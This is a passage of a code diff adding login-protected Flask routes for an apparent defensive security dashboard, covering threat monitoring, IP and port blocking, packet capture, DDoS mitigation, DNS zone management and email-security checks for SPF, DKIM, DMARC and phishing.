return jsonify({'error': 'Invalid IP address', 'success': False})
from modules.defender_windows import WindowsDefender
d = WindowsDefender()
success, message = d.unblock_ip(ip)
return jsonify({'message': message, 'success': success})
@defense_bp.route('/windows/logs/analyze', methods=['POST'])
@login_required
def windows_logs_analyze():
"""Analyze Windows Event Logs."""
from modules.defender_windows import WindowsDefender
d = WindowsDefender()
auth_results, system_results = d.analyze_event_logs()
return jsonify({
'auth_results': auth_results[:20],
'system_results': system_results[:20],
})
# ==================== THREAT MONITOR ====================
def _get_monitor():
"""Get singleton ThreatMonitor instance."""
from modules.defender_monitor import get_threat_monitor
return get_threat_monitor()
@defense_bp.route('/monitor')
@login_required
def monitor_index():
"""Threat Monitor sub-page."""
return render_template('defense_monitor.html')
@defense_bp.route('/monitor/stream')
@login_required
def monitor_stream():
"""SSE stream of real-time threat data."""
return Response(stream_with_context(_get_monitor().monitor_stream()),
mimetype='text/event-stream',
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
@defense_bp.route('/monitor/connections', methods=['POST'])
@login_required
def monitor_connections():
"""Get current network connections."""
m = _get_monitor()
connections = m.get_connections()
return jsonify({'connections': connections, 'total': len(connections)})
@defense_bp.route('/monitor/processes', methods=['POST'])
@login_required
def monitor_processes():
"""Get suspicious processes."""
m = _get_monitor()
processes = m.get_suspicious_processes()
return jsonify({'processes': processes, 'total': len(processes)})
@defense_bp.route('/monitor/threats', methods=['POST'])
@login_required
def monitor_threats():
"""Get threat score and summary."""
m = _get_monitor()
report = m.generate_threat_report()
return jsonify(report)
@defense_bp.route('/monitor/block-ip', methods=['POST'])
@login_required
def monitor_block_ip():
"""Counter-attack: block an IP."""
data = request.get_json(silent=True) or {}
ip = data.get('ip', '').strip()
if not ip or not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip):
return jsonify({'error': 'Invalid IP address', 'success': False})
success, message = _get_monitor().auto_block_ip(ip)
return jsonify({'message': message, 'success': success})
@defense_bp.route('/monitor/kill-process', methods=['POST'])
@login_required
def monitor_kill_process():
"""Counter-attack: kill a process."""
data = request.get_json(silent=True) or {}
pid = data.get('pid')
if not pid:
return jsonify({'error': 'No PID provided', 'success': False})
success, message = _get_monitor().kill_process(pid)
return jsonify({'message': message, 'success': success})
@defense_bp.route('/monitor/block-port', methods=['POST'])
@login_required
def monitor_block_port():
"""Counter-attack: block a port."""
data = request.get_json(silent=True) or {}
port = data.get('port')
direction = data.get('direction', 'in')
if not port:
return jsonify({'error': 'No port provided', 'success': False})
success, message = _get_monitor().block_port(port, direction)
return jsonify({'message': message, 'success': success})
@defense_bp.route('/monitor/blocklist')
@login_required
def monitor_blocklist_get():
"""Get persistent blocklist."""
return jsonify({'blocked_ips': _get_monitor().get_blocklist()})
@defense_bp.route('/monitor/blocklist', methods=['POST'])
@login_required
def monitor_blocklist_add():
"""Add IP to persistent blocklist."""
data = request.get_json(silent=True) or {}
ip = data.get('ip', '').strip()
if not ip or not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip):
return jsonify({'error': 'Invalid IP address', 'success': False})
blocklist = _get_monitor().add_to_blocklist(ip)
return jsonify({'blocked_ips': blocklist, 'success': True})
@defense_bp.route('/monitor/blocklist/remove', methods=['POST'])
@login_required
def monitor_blocklist_remove():
"""Remove IP from persistent blocklist."""
data = request.get_json(silent=True) or {}
ip = data.get('ip', '').strip()
if not ip:
return jsonify({'error': 'No IP provided', 'success': False})
blocklist = _get_monitor().remove_from_blocklist(ip)
return jsonify({'blocked_ips': blocklist, 'success': True})
# ==================== MONITORING: BANDWIDTH, ARP, PORTS, GEOIP, CONN RATE ====================
@defense_bp.route('/monitor/bandwidth', methods=['POST'])
@login_required
def monitor_bandwidth():
"""Get bandwidth stats per interface."""
return jsonify({'interfaces': _get_monitor().get_bandwidth()})
@defense_bp.route('/monitor/arp-check', methods=['POST'])
@login_required
def monitor_arp_check():
"""Check for ARP spoofing."""
alerts = _get_monitor().check_arp_spoofing()
return jsonify({'alerts': alerts, 'total': len(alerts)})
@defense_bp.route('/monitor/new-ports', methods=['POST'])
@login_required
def monitor_new_ports():
"""Check for new listening ports."""
ports = _get_monitor().check_new_listening_ports()
return jsonify({'new_ports': ports, 'total': len(ports)})
@defense_bp.route('/monitor/geoip', methods=['POST'])
@login_required
def monitor_geoip():
"""GeoIP lookup for an IP."""
data = request.get_json(silent=True) or {}
ip = data.get('ip', '').strip()
if not ip:
return jsonify({'error': 'No IP provided'}), 400
result = _get_monitor().geoip_lookup(ip)
if result:
return jsonify(result)
return jsonify({'ip': ip, 'error': 'Private IP or lookup failed'})
@defense_bp.route('/monitor/connections-geo', methods=['POST'])
@login_required
def monitor_connections_geo():
"""Get connections enriched with GeoIP data."""
connections = _get_monitor().get_connections_with_geoip()
return jsonify({'connections': connections, 'total': len(connections)})
@defense_bp.route('/monitor/connection-rate', methods=['POST'])
@login_required
def monitor_connection_rate():
"""Get connection rate stats."""
return jsonify(_get_monitor().get_connection_rate())
# ==================== PACKET CAPTURE (via WiresharkManager) ====================
@defense_bp.route('/monitor/capture/interfaces')
@login_required
def monitor_capture_interfaces():
"""Get available network interfaces for capture."""
from core.wireshark import get_wireshark_manager
wm = get_wireshark_manager()
return jsonify({'interfaces': wm.list_interfaces()})
@defense_bp.route('/monitor/capture/start', methods=['POST'])
@login_required
def monitor_capture_start():
"""Start packet capture."""
data = request.get_json(silent=True) or {}
from core.wireshark import get_wireshark_manager
wm = get_wireshark_manager()
result = wm.start_capture(
interface=data.get('interface', ''),
bpf_filter=data.get('filter', ''),
duration=int(data.get('duration', 30)),
)
return jsonify(result)
@defense_bp.route('/monitor/capture/stop', methods=['POST'])
@login_required
def monitor_capture_stop():
"""Stop packet capture."""
from core.wireshark import get_wireshark_manager
wm = get_wireshark_manager()
result = wm.stop_capture()
return jsonify(result)
@defense_bp.route('/monitor/capture/stats')
@login_required
def monitor_capture_stats():
"""Get capture statistics."""
from core.wireshark import get_wireshark_manager
wm = get_wireshark_manager()
return jsonify(wm.get_capture_stats())
@defense_bp.route('/monitor/capture/stream')
@login_required
def monitor_capture_stream():
"""SSE stream of captured packets."""
import time as _time
from core.wireshark import get_wireshark_manager
mgr = get_wireshark_manager()
def generate():
last_count = 0
while mgr._capture_running:
stats = mgr.get_capture_stats()
count = stats.get('packet_count', 0)
if count > last_count:
new_packets = mgr._capture_packets[last_count:count]
for pkt in new_packets:
yield f'data: {json.dumps({"type": "packet", **pkt})}\n\n'
last_count = count
yield f'data: {json.dumps({"type": "stats", "packet_count": count, "running": True})}\n\n'
_time.sleep(0.5)
stats = mgr.get_capture_stats()
yield f'data: {json.dumps({"type": "done", **stats})}\n\n'
return Response(stream_with_context(generate()),
mimetype='text/event-stream',
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
@defense_bp.route('/monitor/capture/protocols', methods=['POST'])
@login_required
def monitor_capture_protocols():
"""Get protocol distribution from captured packets."""
from core.wireshark import get_wireshark_manager
wm = get_wireshark_manager()
return jsonify({'protocols': wm.get_protocol_hierarchy()})
@defense_bp.route('/monitor/capture/conversations', methods=['POST'])
@login_required
def monitor_capture_conversations():
"""Get top conversations from captured packets."""
from core.wireshark import get_wireshark_manager
wm = get_wireshark_manager()
return jsonify({'conversations': wm.extract_conversations()})
# ==================== DDOS MITIGATION ====================
@defense_bp.route('/monitor/ddos/detect', methods=['POST'])
@login_required
def monitor_ddos_detect():
"""Detect DDoS/DoS attack patterns."""
return jsonify(_get_monitor().detect_ddos())
@defense_bp.route('/monitor/ddos/top-talkers', methods=['POST'])
@login_required
def monitor_ddos_top_talkers():
"""Get top source IPs by connection count."""
data = request.get_json(silent=True) or {}
limit = int(data.get('limit', 20))
return jsonify({'talkers': _get_monitor().get_top_talkers(limit)})
@defense_bp.route('/monitor/ddos/rate-limit', methods=['POST'])
@login_required
def monitor_ddos_rate_limit():
"""Apply rate limit to an IP."""
data = request.get_json(silent=True) or {}
ip = data.get('ip', '').strip()
rate = data.get('rate', '25/min')
if not ip or not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip):
return jsonify({'error': 'Invalid IP address', 'success': False})
success, msg = _get_monitor().apply_rate_limit(ip, rate)
return jsonify({'message': msg, 'success': success})
@defense_bp.route('/monitor/ddos/rate-limit/remove', methods=['POST'])
@login_required
def monitor_ddos_rate_limit_remove():
"""Remove rate limit from an IP."""
data = request.get_json(silent=True) or {}
ip = data.get('ip', '').strip()
if not ip:
return jsonify({'error': 'No IP provided', 'success': False})
success, msg = _get_monitor().remove_rate_limit(ip)
return jsonify({'message': msg, 'success': success})
@defense_bp.route('/monitor/ddos/syn-status')
@login_required
def monitor_ddos_syn_status():
"""Check SYN flood protection status."""
return jsonify(_get_monitor().get_syn_protection_status())
@defense_bp.route('/monitor/ddos/syn-enable', methods=['POST'])
@login_required
def monitor_ddos_syn_enable():
"""Enable SYN flood protection."""
success, msg = _get_monitor().enable_syn_protection()
return jsonify({'message': msg, 'success': success})
@defense_bp.route('/monitor/ddos/syn-disable', methods=['POST'])
@login_required
def monitor_ddos_syn_disable():
"""Disable SYN flood protection."""
success, msg = _get_monitor().disable_syn_protection()
return jsonify({'message': msg, 'success': success})
@defense_bp.route('/monitor/ddos/config')
@login_required
def monitor_ddos_config_get():
"""Get DDoS auto-mitigation config."""
return jsonify(_get_monitor().get_ddos_config())
@defense_bp.route('/monitor/ddos/config', methods=['POST'])
@login_required
def monitor_ddos_config_save():
"""Save DDoS auto-mitigation config."""
data = request.get_json(silent=True) or {}
config = _get_monitor().save_ddos_config(data)
return jsonify({'config': config, 'success': True})
@defense_bp.route('/monitor/ddos/auto-mitigate', methods=['POST'])
@login_required
def monitor_ddos_auto_mitigate():
"""Run auto-mitigation."""
result = _get_monitor().auto_mitigate()
return jsonify(result)
@defense_bp.route('/monitor/ddos/history')
@login_required
def monitor_ddos_history():
"""Get mitigation history."""
return jsonify({'history': _get_monitor().get_mitigation_history()})
@defense_bp.route('/monitor/ddos/history/clear', methods=['POST'])
@login_required
def monitor_ddos_history_clear():
"""Clear mitigation history."""
_get_monitor().clear_mitigation_history()
return jsonify({'success': True})

691
web/routes/dns_service.py Normal file
View File

@@ -0,0 +1,691 @@
"""DNS Service web routes — manage the Go-based DNS server from the dashboard."""
from flask import Blueprint, render_template, request, jsonify
from web.auth import login_required
dns_service_bp = Blueprint('dns_service', __name__, url_prefix='/dns')
def _mgr():
from core.dns_service import get_dns_service
return get_dns_service()
@dns_service_bp.route('/')
@login_required
def index():
return render_template('dns_service.html')
@dns_service_bp.route('/nameserver')
@login_required
def nameserver():
return render_template('dns_nameserver.html')
@dns_service_bp.route('/network-info')
@login_required
def network_info():
"""Auto-detect local network info for EZ-Local setup."""
import socket
import subprocess as sp
info = {'ok': True}
# Hostname
info['hostname'] = socket.gethostname()
try:
info['fqdn'] = socket.getfqdn()
except Exception:
info['fqdn'] = info['hostname']
# Local IPs
local_ips = []
try:
# Connect to external to find default route IP
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 53))
default_ip = s.getsockname()[0]
s.close()
info['default_ip'] = default_ip
except Exception:
info['default_ip'] = '127.0.0.1'
# Gateway detection
try:
r = sp.run(['ip', 'route', 'show', 'default'], capture_output=True, text=True, timeout=5)
if r.stdout:
parts = r.stdout.split()
if 'via' in parts:
info['gateway'] = parts[parts.index('via') + 1]
except Exception:
pass
if 'gateway' not in info:
try:
# Windows: parse ipconfig or route print
r = sp.run(['route', 'print', '0.0.0.0'], capture_output=True, text=True, timeout=5)
for line in r.stdout.splitlines():
parts = line.split()
if len(parts) >= 3 and parts[0] == '0.0.0.0':
info['gateway'] = parts[2]
break
except Exception:
info['gateway'] = ''
# Subnet guess from default IP
ip = info.get('default_ip', '')
if ip and ip != '127.0.0.1':
parts = ip.split('.')
if len(parts) == 4:
info['subnet'] = f"{parts[0]}.{parts[1]}.{parts[2]}.0/24"
info['network_prefix'] = f"{parts[0]}.{parts[1]}.{parts[2]}"
# ARP table for existing hosts
hosts = []
try:
r = sp.run(['arp', '-a'], capture_output=True, text=True, timeout=10)
for line in r.stdout.splitlines():
# Parse arp output (Windows: " 192.168.1.1 00-aa-bb-cc-dd-ee dynamic")
parts = line.split()
if len(parts) >= 2:
candidate = parts[0].strip()
if candidate.count('.') == 3 and not candidate.startswith('224.') and not candidate.startswith('255.'):
try:
socket.inet_aton(candidate)
mac = parts[1] if len(parts) >= 2 else ''
# Try reverse DNS
try:
name = socket.gethostbyaddr(candidate)[0]
except Exception:
name = ''
hosts.append({'ip': candidate, 'mac': mac, 'name': name})
except Exception:
pass
except Exception:
pass
info['hosts'] = hosts[:50] # Limit
return jsonify(info)
@dns_service_bp.route('/nameserver/binary-info')
@login_required
def binary_info():
"""Get info about the Go nameserver binary."""
mgr = _mgr()
binary = mgr.find_binary()
info = {
'ok': True,
'found': binary is not None,
'path': binary,
'running': mgr.is_running(),
'pid': mgr._pid,
'config_path': mgr._config_path,
'listen_dns': mgr._config.get('listen_dns', ''),
'listen_api': mgr._config.get('listen_api', ''),
'upstream': mgr._config.get('upstream', []),
}
if binary:
import subprocess as sp
try:
r = sp.run([binary, '-version'], capture_output=True, text=True, timeout=5)
info['version'] = r.stdout.strip() or r.stderr.strip()
except Exception:
info['version'] = 'unknown'
return jsonify(info)
@dns_service_bp.route('/nameserver/query', methods=['POST'])
@login_required
def query_test():
"""Resolve a DNS name using the running nameserver (or system resolver)."""
import socket
import subprocess as sp
data = request.get_json(silent=True) or {}
name = data.get('name', '').strip()
qtype = data.get('type', 'A').upper()
use_local = data.get('use_local', True)
if not name:
return jsonify({'ok': False, 'error': 'Name required'})
mgr = _mgr()
listen = mgr._config.get('listen_dns', '0.0.0.0:53')
host, port = (listen.rsplit(':', 1) + ['53'])[:2]
if host in ('0.0.0.0', '::'):
host = '127.0.0.1'
results = []
# Try nslookup / dig
try:
if use_local and mgr.is_running():
cmd = ['nslookup', '-type=' + qtype, name, host]
else:
cmd = ['nslookup', '-type=' + qtype, name]
r = sp.run(cmd, capture_output=True, text=True, timeout=10)
raw = r.stdout + r.stderr
results.append({'method': 'nslookup', 'output': raw.strip(), 'cmd': ' '.join(cmd)})
except FileNotFoundError:
pass
except Exception as e:
results.append({'method': 'nslookup', 'output': str(e), 'cmd': ''})
# Python socket fallback for A records
if qtype == 'A':
try:
addrs = socket.getaddrinfo(name, None, socket.AF_INET)
ips = list(set(a[4][0] for a in addrs))
results.append({'method': 'socket', 'output': ', '.join(ips) if ips else 'No results', 'cmd': f'getaddrinfo({name})'})
except socket.gaierror as e:
results.append({'method': 'socket', 'output': str(e), 'cmd': f'getaddrinfo({name})'})
return jsonify({'ok': True, 'name': name, 'type': qtype, 'results': results})
@dns_service_bp.route('/status')
@login_required
def status():
return jsonify(_mgr().status())
@dns_service_bp.route('/start', methods=['POST'])
@login_required
def start():
return jsonify(_mgr().start())
@dns_service_bp.route('/stop', methods=['POST'])
@login_required
def stop():
return jsonify(_mgr().stop())
@dns_service_bp.route('/config', methods=['GET'])
@login_required
def get_config():
return jsonify({'ok': True, 'config': _mgr().get_config()})
@dns_service_bp.route('/config', methods=['PUT'])
@login_required
def update_config():
data = request.get_json(silent=True) or {}
return jsonify(_mgr().update_config(data))
@dns_service_bp.route('/zones', methods=['GET'])
@login_required
def list_zones():
try:
zones = _mgr().list_zones()
return jsonify({'ok': True, 'zones': zones})
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@dns_service_bp.route('/zones', methods=['POST'])
@login_required
def create_zone():
data = request.get_json(silent=True) or {}
domain = data.get('domain', '').strip()
if not domain:
return jsonify({'ok': False, 'error': 'Domain required'})
try:
return jsonify(_mgr().create_zone(domain))
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@dns_service_bp.route('/zones/<domain>', methods=['GET'])
@login_required
def get_zone(domain):
try:
return jsonify(_mgr().get_zone(domain))
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@dns_service_bp.route('/zones/<domain>', methods=['DELETE'])
@login_required
def delete_zone(domain):
try:
return jsonify(_mgr().delete_zone(domain))
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@dns_service_bp.route('/zones/<domain>/records', methods=['GET'])
@login_required
def list_records(domain):
try:
records = _mgr().list_records(domain)
return jsonify({'ok': True, 'records': records})
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@dns_service_bp.route('/zones/<domain>/records', methods=['POST'])
@login_required
def add_record(domain):
data = request.get_json(silent=True) or {}
try:
return jsonify(_mgr().add_record(
domain,
rtype=data.get('type', 'A'),
name=data.get('name', ''),
value=data.get('value', ''),
ttl=int(data.get('ttl', 300)),
priority=int(data.get('priority', 0)),
))
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@dns_service_bp.route('/zones/<domain>/records/<record_id>', methods=['DELETE'])
@login_required
def delete_record(domain, record_id):
try:
return jsonify(_mgr().delete_record(domain, record_id))
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@dns_service_bp.route('/zones/<domain>/mail-setup', methods=['POST'])
@login_required
def mail_setup(domain):
data = request.get_json(silent=True) or {}
try:
return jsonify(_mgr().setup_mail_records(
domain,
mx_host=data.get('mx_host', ''),
dkim_key=data.get('dkim_key', ''),
spf_allow=data.get('spf_allow', ''),
))
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@dns_service_bp.route('/zones/<domain>/dnssec/enable', methods=['POST'])
@login_required
def dnssec_enable(domain):
try:
return jsonify(_mgr().enable_dnssec(domain))
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@dns_service_bp.route('/zones/<domain>/dnssec/disable', methods=['POST'])
@login_required
def dnssec_disable(domain):
try:
return jsonify(_mgr().disable_dnssec(domain))
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@dns_service_bp.route('/metrics')
@login_required
def metrics():
try:
return jsonify({'ok': True, 'metrics': _mgr().get_metrics()})
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
# ── New Go API proxies ────────────────────────────────────────────────
def _proxy_get(endpoint):
try:
return jsonify(_mgr()._api_get(endpoint))
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
def _proxy_post(endpoint, data=None):
try:
return jsonify(_mgr()._api_post(endpoint, data))
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
def _proxy_delete(endpoint):
try:
return jsonify(_mgr()._api_delete(endpoint))
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@dns_service_bp.route('/querylog')
@login_required
def querylog():
limit = request.args.get('limit', '200')
return _proxy_get(f'/api/querylog?limit={limit}')
@dns_service_bp.route('/querylog', methods=['DELETE'])
@login_required
def clear_querylog():
return _proxy_delete('/api/querylog')
@dns_service_bp.route('/cache')
@login_required
def cache_list():
return _proxy_get('/api/cache')
@dns_service_bp.route('/cache', methods=['DELETE'])
@login_required
def cache_flush():
key = request.args.get('key', '')
if key:
return _proxy_delete(f'/api/cache?key={key}')
return _proxy_delete('/api/cache')
@dns_service_bp.route('/blocklist')
@login_required
def blocklist_list():
return _proxy_get('/api/blocklist')
@dns_service_bp.route('/blocklist', methods=['POST'])
@login_required
def blocklist_add():
data = request.get_json(silent=True) or {}
return _proxy_post('/api/blocklist', data)
@dns_service_bp.route('/blocklist', methods=['DELETE'])
@login_required
def blocklist_remove():
data = request.get_json(silent=True) or {}
try:
return jsonify(_mgr()._api_urllib('/api/blocklist', 'DELETE', data)
if not __import__('importlib').util.find_spec('requests')
else _mgr()._api_delete_with_body('/api/blocklist', data))
except Exception:
# Fallback: use POST with _method override or direct urllib
import json as _json
import urllib.request
mgr = _mgr()
url = f'{mgr.api_base}/api/blocklist'
body = _json.dumps(data).encode()
req = urllib.request.Request(url, data=body, method='DELETE',
headers={'Authorization': f'Bearer {mgr.api_token}',
'Content-Type': 'application/json'})
try:
with urllib.request.urlopen(req, timeout=5) as resp:
return jsonify(_json.loads(resp.read()))
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@dns_service_bp.route('/stats/top-domains')
@login_required
def top_domains():
limit = request.args.get('limit', '50')
return _proxy_get(f'/api/stats/top-domains?limit={limit}')
@dns_service_bp.route('/stats/query-types')
@login_required
def query_types():
return _proxy_get('/api/stats/query-types')
@dns_service_bp.route('/stats/clients')
@login_required
def client_stats():
return _proxy_get('/api/stats/clients')
@dns_service_bp.route('/resolver/ns-cache')
@login_required
def ns_cache():
return _proxy_get('/api/resolver/ns-cache')
@dns_service_bp.route('/resolver/ns-cache', methods=['DELETE'])
@login_required
def flush_ns_cache():
return _proxy_delete('/api/resolver/ns-cache')
@dns_service_bp.route('/rootcheck')
@login_required
def rootcheck():
return _proxy_get('/api/rootcheck')
@dns_service_bp.route('/benchmark', methods=['POST'])
@login_required
def benchmark():
data = request.get_json(silent=True) or {}
return _proxy_post('/api/benchmark', data)
@dns_service_bp.route('/forwarding')
@login_required
def forwarding_list():
return _proxy_get('/api/forwarding')
@dns_service_bp.route('/forwarding', methods=['POST'])
@login_required
def forwarding_add():
data = request.get_json(silent=True) or {}
return _proxy_post('/api/forwarding', data)
@dns_service_bp.route('/forwarding', methods=['DELETE'])
@login_required
def forwarding_remove():
data = request.get_json(silent=True) or {}
try:
import json as _json, urllib.request
mgr = _mgr()
url = f'{mgr.api_base}/api/forwarding'
body = _json.dumps(data).encode()
req = urllib.request.Request(url, data=body, method='DELETE',
headers={'Authorization': f'Bearer {mgr.api_token}',
'Content-Type': 'application/json'})
with urllib.request.urlopen(req, timeout=5) as resp:
return jsonify(_json.loads(resp.read()))
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@dns_service_bp.route('/zone-export/<domain>')
@login_required
def zone_export(domain):
return _proxy_get(f'/api/zone-export/{domain}')
@dns_service_bp.route('/zone-import/<domain>', methods=['POST'])
@login_required
def zone_import(domain):
data = request.get_json(silent=True) or {}
return _proxy_post(f'/api/zone-import/{domain}', data)
@dns_service_bp.route('/zone-clone', methods=['POST'])
@login_required
def zone_clone():
data = request.get_json(silent=True) or {}
return _proxy_post('/api/zone-clone', data)
@dns_service_bp.route('/zone-bulk-records/<domain>', methods=['POST'])
@login_required
def bulk_records(domain):
data = request.get_json(silent=True) or {}
return _proxy_post(f'/api/zone-bulk-records/{domain}', data)
# ── Hosts file management ────────────────────────────────────────────
@dns_service_bp.route('/hosts')
@login_required
def hosts_list():
return _proxy_get('/api/hosts')
@dns_service_bp.route('/hosts', methods=['POST'])
@login_required
def hosts_add():
data = request.get_json(silent=True) or {}
return _proxy_post('/api/hosts', data)
@dns_service_bp.route('/hosts', methods=['DELETE'])
@login_required
def hosts_remove():
data = request.get_json(silent=True) or {}
try:
import json as _json, urllib.request
mgr = _mgr()
url = f'{mgr.api_base}/api/hosts'
body = _json.dumps(data).encode()
req_obj = urllib.request.Request(url, data=body, method='DELETE',
headers={'Authorization': f'Bearer {mgr.api_token}',
'Content-Type': 'application/json'})
with urllib.request.urlopen(req_obj, timeout=5) as resp:
return jsonify(_json.loads(resp.read()))
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@dns_service_bp.route('/hosts/import', methods=['POST'])
@login_required
def hosts_import():
data = request.get_json(silent=True) or {}
return _proxy_post('/api/hosts/import', data)
@dns_service_bp.route('/hosts/export')
@login_required
def hosts_export():
return _proxy_get('/api/hosts/export')
# ── Encryption (DoT / DoH) ──────────────────────────────────────────
@dns_service_bp.route('/encryption')
@login_required
def encryption_status():
return _proxy_get('/api/encryption')
@dns_service_bp.route('/encryption', methods=['PUT', 'POST'])
@login_required
def encryption_update():
data = request.get_json(silent=True) or {}
return _proxy_post('/api/encryption', data)
@dns_service_bp.route('/encryption/test', methods=['POST'])
@login_required
def encryption_test():
data = request.get_json(silent=True) or {}
return _proxy_post('/api/encryption/test', data)
# ── EZ Intranet Domain ──────────────────────────────────────────────
@dns_service_bp.route('/ez-intranet', methods=['POST'])
@login_required
def ez_intranet():
"""One-click intranet domain setup. Creates zone + host records + reverse zone."""
import socket
data = request.get_json(silent=True) or {}
domain = data.get('domain', '').strip()
if not domain:
return jsonify({'ok': False, 'error': 'Domain name required'})
mgr = _mgr()
results = {'ok': True, 'domain': domain, 'steps': []}
# Detect local network info
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 53))
local_ip = s.getsockname()[0]
s.close()
except Exception:
local_ip = '127.0.0.1'
hostname = socket.gethostname()
# Step 1: Create the zone
try:
r = mgr.create_zone(domain)
results['steps'].append({'step': 'Create zone', 'ok': r.get('ok', False)})
except Exception as e:
results['steps'].append({'step': 'Create zone', 'ok': False, 'error': str(e)})
# Step 2: Add server record (ns.domain -> local IP)
records = [
{'type': 'A', 'name': f'ns.{domain}.', 'value': local_ip, 'ttl': 3600},
{'type': 'A', 'name': f'{domain}.', 'value': local_ip, 'ttl': 3600},
{'type': 'A', 'name': f'{hostname}.{domain}.', 'value': local_ip, 'ttl': 3600},
]
# Add custom hosts from request
for host in data.get('hosts', []):
ip = host.get('ip', '').strip()
name = host.get('name', '').strip()
if ip and name:
if not name.endswith('.'):
name = f'{name}.{domain}.'
records.append({'type': 'A', 'name': name, 'value': ip, 'ttl': 3600})
for rec in records:
try:
r = mgr.add_record(domain, rtype=rec['type'], name=rec['name'],
value=rec['value'], ttl=rec['ttl'])
results['steps'].append({'step': f'Add {rec["name"]} -> {rec["value"]}', 'ok': r.get('ok', False)})
except Exception as e:
results['steps'].append({'step': f'Add {rec["name"]}', 'ok': False, 'error': str(e)})
# Step 3: Add hosts file entries too for immediate local resolution
try:
import json as _json, urllib.request
hosts_entries = [
{'ip': local_ip, 'hostname': domain, 'aliases': [hostname + '.' + domain]},
]
for host in data.get('hosts', []):
ip = host.get('ip', '').strip()
name = host.get('name', '').strip()
if ip and name:
hosts_entries.append({'ip': ip, 'hostname': name + '.' + domain if '.' not in name else name})
for entry in hosts_entries:
body = _json.dumps(entry).encode()
url = f'{mgr.api_base}/api/hosts'
req_obj = urllib.request.Request(url, data=body, method='POST',
headers={'Authorization': f'Bearer {mgr.api_token}',
'Content-Type': 'application/json'})
urllib.request.urlopen(req_obj, timeout=5)
results['steps'].append({'step': 'Add hosts entries', 'ok': True})
except Exception as e:
results['steps'].append({'step': 'Add hosts entries', 'ok': False, 'error': str(e)})
# Step 4: Create reverse zone if requested
if data.get('reverse_zone', True):
parts = local_ip.split('.')
if len(parts) == 4:
rev_zone = f'{parts[2]}.{parts[1]}.{parts[0]}.in-addr.arpa'
try:
mgr.create_zone(rev_zone)
# Add PTR for server
mgr.add_record(rev_zone, rtype='PTR',
name=f'{parts[3]}.{rev_zone}.',
value=f'{hostname}.{domain}.', ttl=3600)
results['steps'].append({'step': f'Create reverse zone {rev_zone}', 'ok': True})
except Exception as e:
results['steps'].append({'step': 'Create reverse zone', 'ok': False, 'error': str(e)})
results['local_ip'] = local_ip
results['hostname'] = hostname
return jsonify(results)

159
web/routes/email_sec.py Normal file
View File

@@ -0,0 +1,159 @@
"""Email Security routes."""
from flask import Blueprint, request, jsonify, render_template
from web.auth import login_required
email_sec_bp = Blueprint('email_sec', __name__, url_prefix='/email-sec')
def _get_es():
from modules.email_sec import get_email_sec
return get_email_sec()
@email_sec_bp.route('/')
@login_required
def index():
return render_template('email_sec.html')
@email_sec_bp.route('/domain', methods=['POST'])
@login_required
def analyze_domain():
"""Full domain email security analysis."""
data = request.get_json(silent=True) or {}
domain = data.get('domain', '').strip()
if not domain:
return jsonify({'error': 'Domain is required'}), 400
return jsonify(_get_es().analyze_domain(domain))
@email_sec_bp.route('/spf', methods=['POST'])
@login_required
def check_spf():
"""Check SPF record for a domain."""
data = request.get_json(silent=True) or {}
domain = data.get('domain', '').strip()
if not domain:
return jsonify({'error': 'Domain is required'}), 400
return jsonify(_get_es().check_spf(domain))
@email_sec_bp.route('/dmarc', methods=['POST'])
@login_required
def check_dmarc():
"""Check DMARC record for a domain."""
data = request.get_json(silent=True) or {}
domain = data.get('domain', '').strip()
if not domain:
return jsonify({'error': 'Domain is required'}), 400
return jsonify(_get_es().check_dmarc(domain))
@email_sec_bp.route('/dkim', methods=['POST'])
@login_required
def check_dkim():
"""Check DKIM selectors for a domain."""
data = request.get_json(silent=True) or {}
domain = data.get('domain', '').strip()
if not domain:
return jsonify({'error': 'Domain is required'}), 400
selectors = data.get('selectors')
if selectors and isinstance(selectors, str):
selectors = [s.strip() for s in selectors.split(',') if s.strip()]
return jsonify(_get_es().check_dkim(domain, selectors or None))
@email_sec_bp.route('/mx', methods=['POST'])
@login_required
def check_mx():
"""Check MX records for a domain."""
data = request.get_json(silent=True) or {}
domain = data.get('domain', '').strip()
if not domain:
return jsonify({'error': 'Domain is required'}), 400
return jsonify(_get_es().check_mx(domain))
@email_sec_bp.route('/headers', methods=['POST'])
@login_required
def analyze_headers():
"""Analyze raw email headers."""
data = request.get_json(silent=True) or {}
raw_headers = data.get('raw_headers', '').strip()
if not raw_headers:
return jsonify({'error': 'Raw headers are required'}), 400
return jsonify(_get_es().analyze_headers(raw_headers))
@email_sec_bp.route('/phishing', methods=['POST'])
@login_required
def detect_phishing():
"""Detect phishing indicators in email content."""
data = request.get_json(silent=True) or {}
email_content = data.get('email_content', '').strip()
if not email_content:
return jsonify({'error': 'Email content is required'}), 400
return jsonify(_get_es().detect_phishing(email_content))
@email_sec_bp.route('/mailbox/search', methods=['POST'])
@login_required
def mailbox_search():
"""Search a mailbox for emails."""
data = request.get_json(silent=True) or {}
host = data.get('host', '').strip()
username = data.get('username', '').strip()
password = data.get('password', '')
if not host or not username or not password:
return jsonify({'error': 'Host, username, and password are required'}), 400
return jsonify(_get_es().search_mailbox(
host=host,
username=username,
password=password,
